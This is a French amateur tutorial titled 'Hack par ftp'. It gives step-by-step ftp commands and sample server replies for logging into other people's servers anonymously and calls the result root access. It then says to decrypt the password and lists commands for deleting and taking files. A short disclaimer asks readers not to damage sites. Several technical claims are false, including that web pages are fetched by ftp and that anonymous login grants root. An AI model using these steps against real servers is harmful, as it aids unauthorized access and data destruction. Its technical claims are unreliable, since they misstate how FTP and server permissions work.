Hack par ftp :







D'abord qu'est-ce que ftp ? Ftp (file transfert protocol) est un protocole qui permet de transmettre des fichiers d'un ordinateur à un autre. Les ports qui lui sont attribués sont les n°20 et 21. Quand vous allez sur un site pour télécharger une page WEB, c'est aussi par ftp, quand vous vous rendez sur un serveur en tant que user, c'est aussi des fois par ftp. Si vous êtes sous windows, pour ouvrir une fenêtre ftp, il faut faire: Démarrer, Exécuter, et taper "ftp -n". Chaque serveur demande un login et un password pour chaque user donc comment passer à travers cela..

La mannière que je vais détaillée est seulement pour vous montrer comment ces pirates s'y prennent pour pirater un seveur non-prtogé car la plupart des bons webmasters ne sont pas assez bêtes pour ne pas protéger leur site. De plus ne faîtes pas cela dans le but de nuire au bon fonctionnement d'un site. Un site, c'est des heures de travail et ça serait vraiment nul de votre part d'anéantir le travail d'une personne juste comme ça ! Une fois cela dit et je compte sur vous, je vous explique la méthode !
Une fois la fenêtre ouverte, tapez :

open url_du_site
quote user ftp
quote cwd ~root
quote pass ftp

Mettez des espaces ou je les ai mis et tout ce passera bien.

Exemple: open www.araj.com
quote user ftp
quote cwd ~root
quote pass ftp

Ici le serveur a comme adresse url : http://www.araj.com/.

A chaque ligne, il y aura marqué "ftp>". Pour ouvrir cette fenêtre on procède comme expliqué précedement. Une fois connecté à un site (après avoir tapé : open url_du_site), vous verez apparaitre "Connected to url_du_site". Il se peut qu'après vous être connecté à un serveur vous receviez le message suivant: "Ce serveur est protégé" ou "attention aux malversations que vous pourrez faire".

Dans ce cas là c'est même pas la peine d'aller plus loin car à 99% le serveur est sécurisé car si l'administrateur réseau a pu être assez consciencieux pour mettre un message d'avertissement, il l'est assez pour nous empêcher de pénétrer de cette manière dans son serveur.
Il se peut même qu'une fois connecté, vous voyez "Connexion closed by remote host.", là c'est encore plus vache, c'est que le serveur n'est pas accessible par ftp. De cette manière seulement...

On va voir maintenant ce que le serveur répond en fonction de ce que l'on marque et de si oui ou non on pourra entrer dedans:

Voilà normalement ce qui doit s'afficher si vous pouvez rentrer dans le serveur. Si autre chose s'affiche, vous ne pourrez pas entrer dans le serveur car cela veut dire qu'il sera sûrement protégé.

ftp>open www.ajar.com

Connected to www.ajar.com

220 websrv1 Microsoft FTP Service (Version 4.0). "Ce qu'il y aura marqué dépendra du système d'exploitation, de la version de celui ci... Il se peut même qu'il y ait marqué la date et l'heure de la dernière mise à jour."

ftp>quote user ftp

331 Anonymous acces allowed, send identify (e-mail name) as password.

ftp>quote cwd ~root

530 Please login with USER and PASS.

ftp>quote pass ftp

230 Anonymous user logged in.

Voilà, logiquement et sauf erreur vous êtes root ou tout du moins user, si c'est le cas, il faut trouver puis décrypter le password et là vous vous connecterez en tant que root.

Une fois que vous êtes root ou user, ca sont les commandes ftp qui s'appliquent (pas les commandes dos ni les commandes unix) :

mkdir : pour créer un répertoire (exemple: mkdir ajar crée le répertoire ajar).
rmdir : pour supprimer un répertoire (exemple: rmdir ajar supprime le répertoire ajar).
pwd : pour voir ou vous êtes sur le disque.
cd : pour aller dans un répertoire (exemple: cd ajar pour aller dans le répertoire ajar).
dir : pour voir le contenu de la racine ou du répertoire où vous êtes.
cd / : pour revenir à la racine. Ne pas oublier l'espace entre cd et /.
cd .. : pour revenir au répertoire précédent. Ne pas oublier l'espace entre cd et ..
del : pour supprimer un fichier (exemple: del ajar.txt supprime le fichier ajar.txt).
get : pour prendre un fichier et le mettre sur votre bureau (exemple: get ajar.txt vous donne le fichier ajar.txt)

Pour quitter ftp, vous n'avez qu'à taper "quit".